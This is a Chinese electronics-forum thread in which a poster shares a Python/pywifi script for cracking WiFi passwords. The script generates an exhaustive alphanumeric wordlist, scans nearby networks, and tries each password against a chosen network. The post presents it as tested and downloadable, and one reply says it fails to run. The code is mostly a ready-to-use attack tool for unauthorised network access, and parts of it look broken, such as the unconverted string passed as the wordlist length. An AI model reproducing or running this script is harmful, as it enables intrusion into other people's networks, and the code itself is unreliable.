找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 3417|回復(fù): 1
打印 上一主題 下一主題
收起左側(cè)

Python實現(xiàn)窮舉WiFi密碼

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
ID:883814 發(fā)表于 2021-2-10 09:29 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
通過Python腳本實現(xiàn)窮舉獲取WiFi密碼
  1. # -*- coding: utf-8 -*-


  2. import time
  3. import pywifi
  4. from pywifi import const
  5. import itertools as its


  6. maclist = []
  7. wificount=15


  8. def product_passwd(length):
  9.     words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  10.     r = its.product(words,repeat=length)
  11.     dic = open('paswwer.txt','a')
  12.    
  13.     for i in r:
  14.         dic.write(''.join(i))
  15.         dic.write(''.join('\n'))
  16.         print(i)
  17.    
  18.     dic.close()
  19.     print('密碼本生成完畢!')

  20. product_passwd(input("請輸入要生成的密碼本密碼長度:"))   

  21. def getwifi():
  22.     wifi=pywifi.PyWiFi()
  23.     ifaces=wifi.interfaces()[0]
  24.     ifaces.scan()  
  25.     time.sleep(3)   
  26.     result = ifaces.scan_results()

  27.     n=0
  28.     print("%12s%20s%20s"%("【無線名稱】","【mac地址】","【信號強度】"))
  29.     print("="*60)
  30.     for data in result:
  31.         if(data.bssid not in maclist):
  32.             maclist.append(data.bssid)
  33.             if n<=wificount:
  34.                 print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
  35.                 n=n+1
  36.                 time.sleep(2)
  37.     print("="*60)



  38. class PoJie():
  39.     def __init__(self, path):
  40.         self.file = open(path, "r", errors="ignore")
  41.         wifi = pywifi.PyWiFi()  
  42.         self.iface = wifi.interfaces()[0]
  43.         print("獲取到的無線網(wǎng)卡:")
  44.         print(self.iface.name())  
  45.         self.iface.disconnect()  
  46.         time.sleep(1)
  47.         assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  


  48.     def readPassWord(self):
  49.         print("開始破解:")
  50.         while True:   
  51.             try:
  52.                 passStr = str(self.file.readline())
  53.                 print(" 正在嘗試:" + passStr)
  54.                 if not passStr:
  55.                     break
  56.                 bool1 = self.test_connect(passStr)
  57.                 if bool1:
  58.                     print("恭喜你,找到密碼! 正確密碼為:" + passStr)
  59.                     break
  60.                 else:
  61.                     print(" 密碼錯誤!\n","="*35)
  62.                     time.sleep(3)
  63.             except:
  64.                 continue
  65.         with open('result.txt','a+') as fw:
  66.             fw.write('WiFi名稱:%s  密碼:%s'%(wifiname,passStr))
  67.             

  68.     def test_connect(self, findStr):  
  69.         profile = pywifi.Profile()  
  70.         profile.ssid = wifiname
  71.         profile.auth = const.AUTH_ALG_OPEN  
  72.         profile.akm.append(const.AKM_TYPE_WPA2PSK)  
  73.         profile.cipher = const.CIPHER_TYPE_CCMP  
  74.         profile.key = findStr  
  75.         self.iface.remove_all_network_profiles()  
  76.         tmp_profile = self.iface.add_network_profile(profile)  
  77.         self.iface.connect(tmp_profile)
  78.         time.sleep(3)
  79.         if self.iface.status() == const.IFACE_CONNECTED:
  80.             isOK = True
  81.         else:
  82.             isOK = False
  83.         self.iface.disconnect()  
  84.         time.sleep(1)
  85.         return isOK

  86.    
  87.     def __del__(self):
  88.         self.file.close()


  89. getwifi()
  90. wifiname = input("請輸入要破解的WiFi名稱:")  # wifi名稱)
  91. path = input('請輸入字典文件路徑:')
  92. #r"D://Data/Python/wifi/dictionary.txt"
  93. start = PoJie(path)
  94. start.readPassWord()
復(fù)制代碼
代碼已測試過,可正常運行

以上程序51hei下載地址:
wifi.zip (5.76 KB, 下載次數(shù): 60)
分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏5 分享淘帖 頂 踩2
回復(fù)

使用道具 舉報

沙發(fā)
ID:933089 發(fā)表于 2021-6-9 17:36 | 只看該作者
沒辦法運行
回復(fù)

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規(guī)則

手機版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機教程網(wǎng)

快速回復(fù) 返回頂部 返回列表